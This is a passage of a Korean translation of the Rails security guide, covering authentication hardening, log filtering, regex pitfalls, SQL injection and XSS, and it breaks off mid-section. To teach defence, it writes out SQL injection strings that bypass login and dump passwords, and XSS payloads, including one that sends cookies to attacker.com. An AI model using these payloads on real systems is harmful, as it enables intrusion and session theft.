basename = File.expand_path("../../files", __dir__) 
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: "inline"

위의 예제는 사용자가 제공된 경로를 벗어날 수 없도록(directory traversal) 체크하는 방법을 보여줍니다. send_file은 파일이 웹서버의 root 디렉토리 밖에 있더라도 브라우저에 파일을 전송할 것입니다. 때문에 사용자가 의도하지 않은 파일들에 접근하는 것을 방지하기 위해 파일이 의도한 디렉토리 내에 있는지 확인하는 것이 중요합니다.

또 다른 (추가적인) 접근 방식은 database에 파일 이름을 저장하고 disk의 파일 이름을 database의 id를 따라 지정하는 것입니다. 이는 업로드된 파일의 코드가 실행되는 것을 방지하는 좋은 방법이기도 합니다. attachment_fu plugin도 비슷한 방식으로 이를 수행합니다.

5 User Management

거의 모든 web application은 인가와 인증을 다뤄야 합니다. 직접 구현하기보다는 일반적인 plug-in을 사용하는 것이 좋습니다. 하지만 이것들도 최신 상태로 유지해야 합니다. 몇 가지 추가 예방 조치를 통해 application을 더욱 안전하게 만들 수 있습니다.

Rails용 인증 plug-in이 많이 있습니다. 인기 있는 deviseauthlogic과 같은 좋은 plug-in들은 일반 텍스트 비밀번호가 아닌 암호화된 해시 비밀번호만 저장합니다. Rails 3.1부터는 안전한 비밀번호 해싱, 확인 및 복구 메커니즘을 지원하는 내장 has_secure_password 메서드도 사용할 수 있습니다.

5.1 계정 무작위 대입 공격

계정에 대한 무작위 대입 공격은 로그인 인증 정보에 대한 시행착오 공격입니다. rate-limiting, 더 일반적인 오류 메시지, 그리고 가능하다면 CAPTCHA 입력 요구를 통해 이를 방어할 수 있습니다.

웹 애플리케이션의 username 목록은 대부분의 사람들이 복잡한 비밀번호를 사용하지 않기 때문에 해당하는 비밀번호를 무작위 대입 공격하는데 악용될 수 있습니다. 대부분의 비밀번호는 사전 단어와 숫자의 조합입니다. 따라서 username 목록과 사전이 있다면, 자동화된 프로그램은 몇 분 안에 정확한 비밀번호를 찾아낼 수 있습니다.

이러한 이유로, 대부분의 웹 애플리케이션은 username이나 비밀번호 중 하나가 올바르지 않을 경우 "username 또는 비밀번호가 올바르지 않습니다"라는 일반적인 오류 메시지를 표시합니다. 만약 "입력한 username을 찾을 수 없습니다"라고 표시된다면, 공격자는 자동으로 username 목록을 수집할 수 있습니다.

하지만, 대부분의 웹 애플리케이션 설계자들이 간과하는 것은 비밀번호 찾기 페이지입니다. 이 페이지들은 종종 입력된 username이나 이메일 주소가 (찾을 수) 없다는 것을 알려줍니다. 이를 통해 공격자는 username 목록을 수집하고 계정에 대한 무작위 대입 공격을 할 수 있습니다.

이러한 공격을 완화하기 위해 rate limiting을 사용할 수 있습니다. Rails는 내장된 rate-limiter를 제공합니다. sessions controller에서 한 줄의 코드로 이를 활성화할 수 있습니다:

class SessionsController < ApplicationController
  rate_limit to: 10, within: 3.minutes, only: :create
end

다양한 파라미터에 대한 자세한 내용은 API 문서를 참조하세요.

추가적으로, 비밀번호 찾기 페이지에서도 일반적인 에러 메시지를 표시할 수 있습니다. 또한, 특정 IP 주소에서 로그인 실패 횟수가 일정 수준에 도달하면 CAPTCHA 입력을 요구할 수 있습니다.

자동화 프로그램들이 IP 주소를 자주 변경할 수 있기 때문에, 이러한 모든 완화 기술들이 자동화 프로그램에 대한 완벽한 해결책은 아닙니다. 하지만 이는 공격에 대한 장벽을 높이는 역할을 합니다.

5.2 계정 하이재킹

많은 웹 애플리케이션들이 사용자 계정을 하이재킹하기 쉽게 만들어져 있습니다. 다른 방식으로 이를 더 어렵게 만들어보는 건 어떨까요?

5.2.1 비밀번호

공격자가 사용자의 세션 쿠키를 훔쳐서 애플리케이션을 함께 사용할 수 있는 상황을 생각해보세요. 만약 비밀번호 변경이 쉽다면, 공격자는 몇 번의 클릭만으로 계정을 하이재킹할 수 있습니다. 또는 비밀번호 변경 폼이 CSRF에 취약하다면, 공격자는 피해자를 CSRF를 수행하는 조작된 IMG 태그가 있는 웹 페이지로 유인하여 피해자의 비밀번호를 변경할 수 있습니다. 대응책으로서, 당연히 비밀번호 변경 폼을 CSRF로부터 안전하게 만들어야 합니다. 그리고 비밀번호를 변경할 때 기존 비밀번호를 입력하도록 요구해야 합니다.

5.2.2 이메일

하지만, 공격자는 이메일 주소를 변경함으로써도 계정을 탈취할 수 있습니다. 이메일을 변경한 후, 비밀번호 찾기 페이지로 가서 (아마도 새로운) 비밀번호를 공격자의 이메일 주소로 받을 수 있습니다. 대응책으로 이메일 주소를 변경할 때도 비밀번호 입력을 요구해야 합니다.

5.2.3 기타

웹 애플리케이션에 따라 사용자의 계정을 하이재킹하는 더 많은 방법이 있을 수 있습니다. 많은 경우 CSRF와 XSS가 이를 도울 것입니다. 예를 들어, Google Mail의 CSRF 취약점과 같은 경우입니다. 이 개념 증명 공격에서, 피해자는 공격자가 제어하는 웹사이트로 유인됩니다. 해당 사이트에는 Google Mail의 필터 설정을 변경하는 HTTP GET 요청을 생성하는 조작된 IMG 태그가 있습니다. 만약 피해자가 Google Mail에 로그인되어 있다면, 공격자는 모든 이메일을 자신의 이메일 주소로 전달하도록 필터를 변경할 수 있습니다. 이는 전체 계정을 하이재킹하는 것만큼이나 해로울 수 있습니다. 대응책으로, 애플리케이션 로직을 검토하고 모든 XSS와 CSRF 취약점을 제거해야 합니다.

5.3 CAPTCHAs

CAPTCHA는 응답이 컴퓨터에 의해 생성되지 않았다는 것을 판단하기 위한 challenge-response 테스트입니다. 사용자에게 왜곡된 이미지의 문자를 입력하도록 요청하여 공격자로부터 등록 양식을 보호하고 자동 스팸 봇으로부터 댓글 양식을 보호하는 데 자주 사용됩니다. 이것이 positive CAPTCHA이지만, negative CAPTCHA도 있습니다. negative CAPTCHA의 아이디어는 사용자가 인간임을 증명하는 것이 아니라, 로봇이 로봇임을 드러내는 것입니다.

인기 있는 positive CAPTCHA API는 reCAPTCHA입니다. 이는 오래된 책에서 가져온 두 개의 왜곡된 단어 이미지를 보여줍니다. 초기 CAPTCHA가 사용했던 왜곡된 배경과 텍스트의 높은 수준의 왜곡이 깨졌기 때문에, 대신 기울어진 선을 추가합니다. 보너스로, reCAPTCHA를 사용하면 오래된 책의 디지털화를 돕게 됩니다. ReCAPTCHA는 API와 동일한 이름의 Rails 플러그인이기도 합니다.

API로부터 public key와 private key 두 개의 키를 받게 되며, 이를 Rails 환경에 넣어야 합니다. 그 후 view에서 recaptcha_tags 메소드를, controller에서 verify_recaptcha 메소드를 사용할 수 있습니다. 검증이 실패하면 verify_recaptcha는 false를 반환합니다. CAPTCHA의 문제점은 사용자 경험에 부정적인 영향을 미친다는 것입니다. 또한, 일부 시각 장애가 있는 사용자들은 특정 종류의 왜곡된 CAPTCHA를 읽기 어려워합니다. 그래도 positive CAPTCHA는 모든 종류의 봇이 양식을 제출하는 것을 방지하는 가장 좋은 방법 중 하나입니다.

대부분의 봇은 매우 단순합니다. 웹을 크롤링하고 찾을 수 있는 모든 양식의 필드에 스팸을 넣습니다. negative CAPTCHA는 이를 이용하여 CSS나 JavaScript로 인간 사용자에게는 숨겨질 "honeypot" 필드를 양식에 포함시킵니다.

negative CAPTCHA는 단순한 봇에 대해서만 효과적이며 대상화된 봇으로부터 중요한 애플리케이션을 보호하기에는 충분하지 않다는 점에 주의하세요. 그래도 negative와 positive CAPTCHA를 조합하여 성능을 향상시킬 수 있습니다. 예를 들어, "honeypot" 필드가 비어있지 않다면(봇 감지), 응답을 계산하기 전에 Google ReCaptcha에 HTTPS 요청이 필요한 positive CAPTCHA를 확인할 필요가 없습니다.

다음은 JavaScript 및/또는 CSS로 honeypot 필드를 숨기는 방법에 대한 아이디어입니다:

  • 페이지의 보이는 영역 밖에 필드를 위치시킴
  • 요소를 매우 작게 만들거나 페이지 배경과 같은 색으로 만듦
  • 필드를 표시된 상태로 두되, 사람들에게 비워두라고 알려줌

가장 단순한 negative CAPTCHA는 하나의 숨겨진 honeypot 필드입니다. 서버 측에서 필드의 값을 확인합니다: 텍스트가 포함되어 있다면 봇임이 틀림없습니다. 그러면 포스트를 무시하거나 긍정적인 결과를 반환하되 데이터베이스에는 저장하지 않을 수 있습니다. 이렇게 하면 봇은 만족하고 다음으로 넘어갑니다.

Ned Batchelder의 블로그 포스트에서 더 정교한 negative CAPTCHA를 찾을 수 있습니다:

  • 현재 UTC 타임스탬프가 포함된 필드를 포함하고 서버에서 이를 확인합니다. 너무 과거이거나 미래인 경우 양식이 유효하지 않습니다.
  • 필드 이름을 무작위화
  • 제출 버튼을 포함한 모든 유형의 honeypot 필드를 하나 이상 포함

이는 자동 봇으로부터만 보호한다는 점에 유의하세요. 대상화된 맞춤형 봇은 이를 통해 막을 수 없습니다. 따라서 negative CAPTCHA는 로그인 양식을 보호하기에 좋지 않을 수 있습니다.

5.4 로깅

Rails가 로그 파일에 비밀번호를 기록하지 않도록 설정하세요.

기본적으로 Rails는 웹 애플리케이션에 대한 모든 요청을 로깅합니다. 하지만 로그 파일은 로그인 자격 증명, 신용카드 번호 등을 포함할 수 있기 때문에 큰 보안 문제가 될 수 있습니다. 웹 애플리케이션 보안 개념을 설계할 때는 공격자가 웹 서버에 (완전한) 접근 권한을 얻었을 때 어떤 일이 발생할지도 고려해야 합니다. 로그 파일에 평문으로 기록된다면 데이터베이스의 암호화된 비밀과 비밀번호는 무용지물이 됩니다. 애플리케이션 설정에서 config.filter_parameters에 특정 요청 파라미터를 추가하여 로그 파일에서 해당 파라미터를 필터링 할 수 있습니다. 이러한 파라미터들은 로그에서 [FILTERED]로 표시됩니다.

config.filter_parameters << :password

매개변수 필터링은 설정에 패턴을 추가하여 로그에서 특정 매개변수를 필터링할 수 있게 합니다. Filter Parameters에 지정된 값과 일치하는 매개변수는 로그에서 [FILTERED] 로 표시됩니다.

제공된 파라미터들은 정규식의 부분 일치를 통해 필터링됩니다. Rails는 :passw, :secret, :token과 같은 기본 필터 목록을 해당 initializer(initializers/filter_parameter_logging.rb)에 추가하여 password, password_confirmation, my_token과 같은 일반적인 애플리케이션 파라미터들을 처리합니다.

5.5 Regular Expressions

Ruby의 정규표현식에서 흔히 발생하는 실수는 문자열의 시작과 끝을 \A와 \z 대신 $로 매칭하는 것입니다.

Ruby는 문자열의 시작과 끝을 매칭할 때 다른 많은 프로그래밍 언어와는 약간 다른 접근 방식을 사용합니다. 이것이 많은 Ruby와 Rails 관련 서적에서도 잘못 설명되는 이유입니다. 그렇다면 이것이 어떻게 보안 위협이 될 수 있을까요? URL 필드를 느슨하게 검증하고 싶어서 다음과 같은 간단한 정규표현식을 사용했다고 가정해 봅시다:

/^https?:\/\/[^\n]+$/i

URL이 유효한지 확인하기 위해서는 위 패턴을 사용하세요. HTTP와 HTTPS URL 둘 다 일치시킵니다.

일부 언어에서는 이것이 잘 작동할 수 있습니다. 하지만, Ruby에서 ^$라인 시작과 라인 끝을 매칭합니다. 따라서 다음과 같은 URL이 아무 문제없이 필터를 통과하게 됩니다:

javascript:exploit_code();/*
http://hi.com
*/

이 URL은 정규표현식과 매칭되는 두 번째 줄 때문에 필터를 통과합니다 - 나머지는 상관없습니다. 이제 URL을 이렇게 보여주는 view가 있다고 가정해봅시다:

link_to "홈페이지", @user.homepage

이 링크는 방문자들에게 무해해 보이지만, 클릭했을 때 "exploit_code" JavaScript 함수나 공격자가 제공한 다른 JavaScript를 실행할 것입니다.

이 regular expression을 수정하기 위해서는, ^$ 대신 \A\z를 다음과 같이 사용해야 합니다:

/\Ahttps?:\/\/[^\n]+\z/i

http 또는 https URL들이 유효한지 검증합니다. URL은 반드시 한 줄로 구성되어야 합니다.

format validator (validates_format_of)는 제공된 정규표현식이 시작하거나 $로 끝나는 경우 예외를 발생시킵니다. 이는 자주 발생하는 실수이기 때문입니다. $를 \A와 \z 대신 사용해야 하는 경우(드문 경우)에는 :multiline 옵션을 true로 설정할 수 있습니다:

# content는 문자열 내 아무 곳에나 "Meanwhile" 행을 포함해야 합니다
validates :content, format: { with: /^Meanwhile$/, multiline: true }

이는 format validator를 사용할 때 가장 흔한 실수로부터 보호해주긴 하지만 - Ruby에서 $가 문자열의 시작과 끝이 아닌 의 시작과 끝을 매치한다는 점을 항상 명심해야 한다는 점을 기억하세요.

5.6 권한 상승

단일 매개변수를 변경하는 것만으로도 사용자에게 무단 액세스 권한이 부여될 수 있습니다. 아무리 숨기거나 난독화해도 모든 매개변수가 변경될 수 있다는 점을 기억하세요.

사용자가 변조할 수 있는 가장 일반적인 매개변수는 id 매개변수입니다. 예를 들어 http://www.domain.com/project/1에서 1이 id입니다. 이는 컨트롤러의 params에서 사용할 수 있습니다. 거기서 다음과 같은 작업을 수행할 가능성이 높습니다:

@project = Project.find(params[:id])

이는 프로젝트를 id를 통해 찾습니다. params hash에서 id를 받아 해당 Project를 찾아 @project 인스턴스 변수에 할당합니다.

일부 웹 애플리케이션에서는 이것이 괜찮을 수 있지만, 사용자가 모든 project에 대한 권한이 없는 경우에는 확실히 그렇지 않습니다. 만약 사용자가 id를 42로 변경하고 해당 정보를 볼 수 있는 권한이 없더라도, 그들은 여전히 그 정보에 접근할 수 있게 됩니다. 대신, 사용자의 접근 권한도 함께 확인해야 합니다:

@project = @current_user.projects.find(params[:id])

현재 사용자의 projects 중에서 params[:id]와 일치하는 하나를 찾습니다.

웹 애플리케이션에 따라 사용자가 조작할 수 있는 매개변수가 더 많이 있을 수 있습니다. 일반적인 원칙으로, 사용자 입력 데이터는 안전하다고 입증되기 전까지는 안전하지 않으며, 사용자로부터 오는 모든 매개변수는 잠재적으로 조작될 수 있습니다.

보안을 위한 난독화와 JavaScript 보안에 속지 마세요. 개발자 도구를 사용하면 모든 폼의 숨겨진 필드를 검토하고 변경할 수 있습니다. JavaScript는 사용자 입력 데이터를 검증하는 데 사용할 수 있지만, 공격자가 예상치 못한 값으로 악의적인 요청을 보내는 것을 막을 수는 없습니다. DevTools는 모든 요청을 기록하고 이를 반복하고 변경할 수 있습니다. 이는 JavaScript 유효성 검사를 우회하는 쉬운 방법입니다. 또한 인터넷으로부터 오가는 모든 요청과 응답을 가로챌 수 있는 클라이언트 측 프록시도 있습니다.

6 Injection

Injection은 웹 애플리케이션의 보안 컨텍스트 내에서 실행할 목적으로 악성 코드나 매개변수를 주입하는 공격 유형입니다. Injection의 대표적인 예로는 크로스 사이트 스크립팅(XSS)과 SQL injection이 있습니다.

Injection은 매우 까다로운데, 동일한 코드나 매개변수가 한 컨텍스트에서는 악의적일 수 있지만 다른 컨텍스트에서는 완전히 무해할 수 있기 때문입니다. 컨텍스트는 스크립팅, 쿼리, 프로그래밍 언어, 셸, 또는 Ruby/Rails 메서드가 될 수 있습니다. 다음 섹션에서는 Injection 공격이 발생할 수 있는 모든 중요한 컨텍스트를 다룰 것입니다. 하지만 첫 번째 섹션에서는 Injection과 관련된 아키텍처 결정을 다룹니다.

6.1 Permitted Lists와 Restricted Lists 비교

무언가를 sanitize하거나, 보호하거나, 검증할 때는 restricted list보다 permitted list를 선호하세요.

restricted list는 잘못된 이메일 주소, 비공개 action 또는 잘못된 HTML 태그의 목록이 될 수 있습니다. 이와 반대로 permitted list는 좋은 이메일 주소, 공개 action, 좋은 HTML 태그 등을 나열합니다. 때로는 permitted list를 만드는 것이 불가능할 수도 있지만(예: SPAM 필터에서), permitted list 접근 방식을 선호하세요:

  • 보안 관련 action에는 only: [...] 대신 before_action except: [...]를 사용하세요. 이렇게 하면 새로 추가된 action에 대한 보안 검사를 활성화하는 것을 잊지 않습니다.
  • Cross-Site Scripting (XSS)에 대응할 때 <script>를 제거하는 대신 <strong>을 허용하세요. 자세한 내용은 아래를 참조하세요.
  • restricted list를 사용하여 사용자 입력을 수정하려고 하지 마세요:
    • 이렇게 하면 공격이 작동합니다: "<sc<script>ript>".gsub("<script>", "")
    • 대신 잘못된 입력을 거부하세요

permitted list는 또한 restricted list에서 무언가를 잊어버리는 인적 요인에 대응하는 좋은 접근 방식입니다.

6.2 SQL Injection

영리한 방법들 덕분에, 이는 대부분의 Rails 애플리케이션에서 거의 문제가 되지 않습니다. 하지만 이는 웹 애플리케이션에서 매우 치명적이고 흔한 공격이므로, 이 문제를 이해하는 것이 중요합니다.

6.2.1 소개

SQL injection 공격은 웹 애플리케이션 파라미터를 조작하여 데이터베이스 쿼리에 영향을 미치는 것을 목표로 합니다. SQL injection 공격의 일반적인 목표는 인증을 우회하는 것입니다. 다른 목표로는 데이터 조작이나 임의의 데이터 읽기를 수행하는 것이 있습니다. 다음은 쿼리에서 사용자 입력 데이터를 사용하면 안 되는 방법의 예시입니다:

Project.where("name = '#{params[:name]}'")

이것은 보안상 위험합니다! 이 코드는 SQL injection 공격에 취약하며, 해커가 당신의 데이터베이스를 망가뜨리게 할 수 있습니다. Rails에서는 "말하지 말고 묻기"(don't call, query) 원칙을 따르는 다음과 같은 대체 방법들을 제공합니다:

검색 액션에서 사용자가 찾고 싶은 project 이름을 입력할 수 있습니다. 만약 악의적인 사용자가 ' OR 1) --를 입력하면, 생성되는 SQL 쿼리는 다음과 같을 것입니다:

SELECT * FROM projects WHERE (name = '' OR 1) --')

두 개의 대시는 주석을 시작하여 그 이후의 모든 것을 무시합니다. 따라서 쿼리는 사용자에게 보이지 않는 것을 포함하여 projects 테이블의 모든 레코드를 반환합니다. 이는 모든 레코드에 대해 조건이 참이기 때문입니다.

6.2.2 Authorization 우회하기

일반적으로 웹 애플리케이션은 접근 제어를 포함합니다. 사용자가 로그인 자격 증명을 입력하면 웹 애플리케이션은 users 테이블에서 일치하는 레코드를 찾으려고 시도합니다. 레코드를 찾으면 애플리케이션은 접근 권한을 부여합니다. 하지만 공격자는 SQL injection을 통해 이 검사를 우회할 수 있습니다. 다음은 Rails에서 사용자가 제공한 로그인 자격 증명 파라미터와 일치하는 users 테이블의 첫 번째 레코드를 찾는 일반적인 데이터베이스 쿼리를 보여줍니다.

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

만약 공격자가 name으로 ' OR '1'='1를, password로 ' OR '2'>'1를 입력하면, 결과 SQL query는 다음과 같을 것입니다:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

이것은 단순히 데이터베이스의 첫 번째 레코드를 찾아서 이 사용자에게 접근 권한을 부여합니다.

6.2.3 권한이 없는 읽기

UNION 구문은 두 개의 SQL 쿼리를 연결하여 하나의 데이터 세트로 반환합니다. 공격자는 이를 이용하여 데이터베이스에서 임의의 데이터를 읽을 수 있습니다. 위의 예시를 살펴보겠습니다:

Project.where("name = '#{params[:name]}'")

이제 UNION 구문을 사용하여 다른 쿼리를 주입해보겠습니다:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

결과적으로 다음과 같은 SQL query가 생성될 것입니다:

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

이 결과는 프로젝트 목록이 아닌(빈 이름을 가진 프로젝트가 없기 때문에) 사용자 이름과 비밀번호 목록이 됩니다. 데이터베이스에 비밀번호를 안전하게 해시화 했기를 바랍니다! 공격자에게 있어 유일한 문제는 두 쿼리의 컬럼 수가 같아야 한다는 점입니다. 이것이 두 번째 쿼리에서 1의 목록(1)을 포함하는 이유입니다. 이는 첫 번째 쿼리의 컬럼 수와 일치시키기 위해 항상 값이 1이 됩니다.

또한, 두 번째 쿼리는 웹 애플리케이션이 user 테이블의 값을 표시할 수 있도록 AS 구문으로 일부 컬럼의 이름을 변경합니다.

6.2.4 대응 방안

Ruby on Rails는 특수 SQL 문자를 위한 내장 필터를 가지고 있으며, 이는 ', ", NULL 문자, 줄바꿈을 이스케이프 처리합니다. Model.find(id) 또는 Model.find_by_something(something)를 사용하면 자동으로 이 대응 방안이 적용됩니다. 하지만 SQL 프래그먼트, 특히 조건 프래그먼트(where("...")), connection.execute() 또는 Model.find_by_sql() 메서드에서는 수동으로 적용해야 합니다.

문자열을 전달하는 대신, 오염된 문자열을 sanitize하기 위해 다음과 같이 위치 핸들러를 사용할 수 있습니다:

Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first

위 코드는 입력된 zip_code와 일치하고 입력된 quantity 이상인 첫 번째 결과를 반환합니다.

첫 번째 parameter는 물음표가 있는 SQL fragment입니다. 두 번째와 세 번째 parameter는 변수의 값으로 물음표를 대체합니다.

named handler를 사용할 수도 있으며, 값은 사용된 hash에서 가져옵니다:

values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first

추가로, 사용 케이스에 맞는 조건문을 분할하고 체이닝할 수 있습니다:

Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first

앞서 언급한 대응책들은 model 인스턴스에서만 사용할 수 있습니다. 다른 곳에서는 sanitize_sql을 사용해볼 수 있습니다. SQL에서 외부 문자열을 사용할 때는 보안상의 결과를 고려하는 것을 습관화하세요.

6.3 Cross-Site Scripting (XSS)

웹 애플리케이션에서 가장 널리 퍼진, 그리고 가장 치명적인 보안 취약점 중 하나는 XSS입니다. 이 악의적인 공격은 클라이언트 측 실행 가능한 코드를 주입합니다. Rails는 이러한 공격을 막기 위한 helper 메서드들을 제공합니다.

6.3.1 Entry Points

Entry point는 공격자가 공격을 시작할 수 있는 취약한 URL과 그 파라미터들입니다.

가장 일반적인 entry point는 메시지 게시물, 사용자 댓글, 방명록이지만, 프로젝트 제목, 문서 이름, 검색 결과 페이지도 취약할 수 있습니다 - 사용자가 데이터를 입력할 수 있는 거의 모든 곳이 해당됩니다. 하지만 입력이 반드시 웹사이트의 입력 상자에서만 올 필요는 없으며, 모든 URL 파라미터에서 올 수 있습니다 - 명시적이든, 숨겨져 있든, 내부적이든 상관없습니다. 사용자가 모든 트래픽을 가로챌 수 있다는 것을 기억하세요. 애플리케이션이나 클라이언트 측 프록시를 사용하면 요청을 쉽게 변경할 수 있습니다. 배너 광고와 같은 다른 공격 벡터들도 있습니다.

XSS 공격은 이렇게 작동합니다: 공격자가 코드를 주입하면, 웹 애플리케이션이 이를 저장하고 페이지에 표시하며, 나중에 피해자에게 보여집니다. 대부분의 XSS 예제는 단순히 경고창을 표시하지만, 실제로는 그보다 더 강력합니다. XSS는 쿠키를 훔치거나, 세션을 하이재킹하거나, 피해자를 가짜 웹사이트로 리다이렉트하거나, 공격자의 이익을 위한 광고를 표시하거나, 기밀 정보를 얻기 위해 웹사이트의 요소를 변경하거나, 웹 브라우저의 보안 취약점을 통해 악성 소프트웨어를 설치할 수 있습니다.

2007년 하반기 동안, Mozilla 브라우저에서 88개, Safari에서 22개, IE에서 18개, Opera에서 12개의 취약점이 보고되었습니다. Symantec Global Internet Security 위협 보고서는 2007년 하반기에 239개의 브라우저 플러그인 취약점도 기록했습니다. Mpack은 이러한 취약점들을 악용하는 매우 활발하고 최신의 공격 프레임워크입니다. 범죄 해커들에게는 웹 애플리케이션 프레임워크의 SQL-Injection 취약점을 악용하여 모든 텍스트 테이블 열에 악성 코드를 삽입하는 것이 매우 매력적입니다. 2008년 4월에는 영국 정부, 유엔 및 많은 고위급 대상을 포함하여 510,000개 이상의 사이트가 이런 방식으로 해킹되었습니다.

6.3.2 HTML/JavaScript Injection

가장 일반적인 XSS 언어는 당연히 가장 인기 있는 클라이언트 측 스크립팅 언어인 JavaScript이며, 종종 HTML과 함께 사용됩니다. 사용자 입력값을 이스케이프하는 것이 필수적입니다.

다음은 XSS를 확인하기 위한 가장 간단한 테스트입니다:

<script>alert('Hello');</script>

이 JavaScript 코드는 단순히 alert 창을 표시할 것입니다. 다음 예제들은 매우 특이한 위치에서 정확히 동일한 작업을 수행합니다:

<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">
6.3.2.1 쿠키 탈취

지금까지의 예시들은 아무런 해를 끼치지 않았습니다. 이제 공격자가 어떻게 사용자의 쿠키를 훔치는지(따라서 사용자의 세션을 하이재킹하는지) 살펴보겠습니다. JavaScript에서는 document.cookie 속성을 사용하여 문서의 쿠키를 읽고 쓸 수 있습니다. JavaScript는 동일 출처 정책(same origin policy)을 적용합니다. 이는 한 도메인의 스크립트가 다른 도메인의 쿠키에 접근할 수 없다는 것을 의미합니다. document.cookie 속성은 원래 웹 서버의 쿠키를 보유합니다. 하지만 코드를 HTML 문서에 직접 삽입하면(XSS에서 발생하는 것처럼) 이 속성을 읽고 쓸 수 있습니다. 웹 애플리케이션의 아무 곳에나 이것을 주입하면 결과 페이지에서 자신의 쿠키를 볼 수 있습니다:

<script>document.write(document.cookie);</script>

물론 공격자 입장에서는 피해자가 자신의 쿠키를 볼 수 있기 때문에 이것이 유용하지 않습니다. 다음 예제는 URL http://www.attacker.com/ 에 쿠키를 추가한 주소에서 이미지를 로드하려고 시도합니다. 당연히 이 URL은 존재하지 않으므로 브라우저는 아무것도 표시하지 않습니다. 하지만 공격자는 자신의 웹 서버의 접근 로그 파일을 검토하여 피해자의 쿠키를 볼 수 있습니다.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

www.attacker.com의 로그 파일은 아래와 같이 보일 것입니다:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

이러한 공격들은 쿠키에 httpOnly 플래그를 추가하여 (명백한 방법으로) 완화할 수 있습니다. 이렇게 하면 JavaScript를 통해 document.cookie를 읽을 수 없게 됩니다. HTTP only 쿠키는 IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, Chrome 1.0.154 이상의 버전부터 사용할 수 있습니다. 하지만 WebTV나 Mac의 IE 5.5와 같은 오래된 브라우저에서는 페이지 로딩이 실패할 수 있습니다. Ajax를 사용하면 여전히 쿠키가 볼 수 있다는 점에 주의하세요.

6.3.2.2 변조

웹 페이지 변조를 통해 공격자는 거짓 정보를 제시하거나 피해자를 공격자의 웹사이트로 유인하여 쿠키, 로그인 인증정보 또는 기타 민감한 데이터를 훔치는 등 많은 일을 할 수 있습니다. 가장 보편적인 방법은 iframe을 통해 외부 소스의 코드를 포함시키는 것입니다:

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

이것은 외부 소스로부터 임의의 HTML 및/또는 JavaScript를 로드하여 사이트의 일부로 임베드합니다. 이 iframeMpack 공격 프레임워크를 사용하여 정상적인 이탈리아 사이트들을 대상으로 한 실제 공격에서 발견된 것입니다. Mpack은 웹 브라우저의 보안 취약점을 통해 악성 소프트웨어를 설치하려 시도하며, 50%의 공격이 성공할 정도로 매우 효과적입니다.

더 전문화된 공격은 전체 웹사이트를 덮어씌우거나 사이트의 원본과 동일하게 보이는 로그인 폼을 표시할 수 있지만, 실제로는 사용자 이름과 비밀번호를 공격자의 사이트로 전송합니다. 또는 CSS나 JavaScript를 사용하여 웹 애플리케이션의 정상적인 링크를 숨기고, 가짜 웹사이트로 리다이렉트되는 다른 링크를 그 자리에 표시할 수 있습니다.

Reflected injection 공격은 페이로드가 나중에 피해자에게 보여주기 위해 저장되는 것이 아니라 URL에 포함되는 공격입니다. 특히 검색 폼에서 검색 문자열을 이스케이프하지 않는 경우가 많습니다. 다음 링크는 "George Bush가 9살 소년을 의장으로 임명했다..."라고 명시된 페이지를 보여주었습니다:

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
6.3.2.3 대책

악의적인 입력을 필터링하는 것도 매우 중요하지만, 웹 애플리케이션의 출력을 이스케이프하는 것도 중요합니다.

특히 XSS의 경우, 제한적인 필터링 대신 허용된 입력 필터링을 수행하는 것이 중요합니다. 허용 목록 필터링은 허용되지 않는 값과 대조적으로 허용되는 값을 명시합니다. 제한 목록은 절대 완벽할 수 없습니다.

제한 목록이 사용자 입력에서 "script"를 삭제하는 경우를 생각해보세요. 공격자가 "<scrscriptipt>"를 주입하면, 필터링 후에 "<script>"가 남게 됩니다. Rails의 이전 버전에서는 strip_tags(), strip_links(), sanitize() 메서드에 제한 목록 방식을 사용했습니다. 따라서 이러한 종류의 주입이 가능했습니다:

strip_tags("some<<b>script>alert('hello')<</b>/script>")

위 코드는 "somescript>alert('hello')/script" 를 반환합니다

이는 공격이 가능한 "some<script>alert('hello')</script>"를 반환했습니다. 이것이 바로 Rails 2의 업데이트된 메서드인 sanitize()를 사용하여 허용 목록 방식을 사용하는 것이 더 나은 이유입니다:

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

위 예제에서는 지정된 HTML tag와 attribute만 허용하고 나머지는 모두 필터링합니다.

이는 주어진 태그만 허용하며 모든 종류의 트릭과 잘못된 형식의 태그에 대해서도 좋은 성능을 발휘합니다.

Action View와 Action Text 모두 rails-html-sanitizer gem을 기반으로 sanitization helpers를 구축합니다.

두 번째 단계로, 애플리케이션의 모든 출력을 이스케이프 처리하는 것이 좋은 방법입니다, 특히 입력 필터링이 되지 않은 사용자 입력을 재표시할 때(앞서 검색 폼 예제에서처럼)입니다. HTML 입력 문자 &, ", <, 그리고 >를 HTML에서 해석되지 않는 표현(&amp;, &quot;, &lt;, 그리고 &gt;)으로 대체하기 위해 html_escape() (또는 별칭 h()) 메서드를 사용하세요.

6.3.2.4 난독화와 인코딩 인젝션

네트워크 트래픽은 대부분 제한된 서양 알파벳을 기반으로 하므로, 다른 언어의 문자를 전송하기 위해 Unicode와 같은 새로운 문자 인코딩이 등장했습니다. 하지만 이는 웹 애플리케이션에도 위협이 됩니다. 웹 브라우저는 처리할 수 있지만 웹 애플리케이션은 처리하지 못할 수 있는 다양한 인코딩에 악성 코드가 숨겨질 수 있기 때문입니다. 다음은 UTF-8 인코딩의 공격 벡터입니다:

